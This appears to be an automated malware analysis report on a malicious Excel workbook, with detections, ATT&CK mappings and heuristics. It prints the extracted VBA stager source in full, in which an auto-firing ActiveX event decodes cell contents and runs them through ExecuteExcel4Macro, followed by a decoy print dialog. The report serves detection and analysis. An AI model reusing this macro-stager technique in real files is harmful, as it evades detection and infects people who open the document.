MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains VBA macros that leverage an ActiveX event to execute a decoded Excel 4.0 macro. This macro appears to be designed to download and execute a second-stage payload, as indicated by the ClamAV detection signature 'Xls.Malware.Mrhl-9774585-0'. The VBA code concatenates strings to form commands and uses ExecuteExcel4Macro, suggesting a downloader or stager functionality.
Heuristics 3
-
ClamAV: Xls.Malware.Mrhl-9774585-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Mrhl-9774585-0
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGERVBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1131 bytes |
SHA-256: 64b0e944c62c4b621c8a0fe53a211b3a6163bd3ebf9af64c8589f9be55cdc89e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Riduci, 1, 0, MSForms, Frame"
Private Sub Riduci_Layout()
On Error Resume Next
For a = 2 To 3411: For K = 1 To 212
o = "+"
cis = Cells(a, K): If IsEmpty(cis) = 0 Then T = T & cis
Next: imaggi = imaggi & Chr(T): T = "": Next: E = Split(imaggi, o)
For Each rom In E: fk = Len(ExecuteExcel4Macro(rom)): Next: Application.WindowState = xlMinimized: Application.Dialogs(xlDialogPrint).Show
End Sub
Sub Barre()
MsgBox "Vizualizza...", vbInformation: ActiveWorkbook.Close 0
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 10752 bytes |
SHA-256: b196941c411b24ed3cdfcf1be5bf9195f67a20383a35d18d52b24c4020139988 |
|||
|
Detection
ClamAV:
Xls.Malware.Mrhl-9774585-0
Obfuscation or payload:
unlikely
|
|||
emf_00.emf |
ooxml-emf | OOXML EMF part: xl/media/image1.emf | 1976 bytes |
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.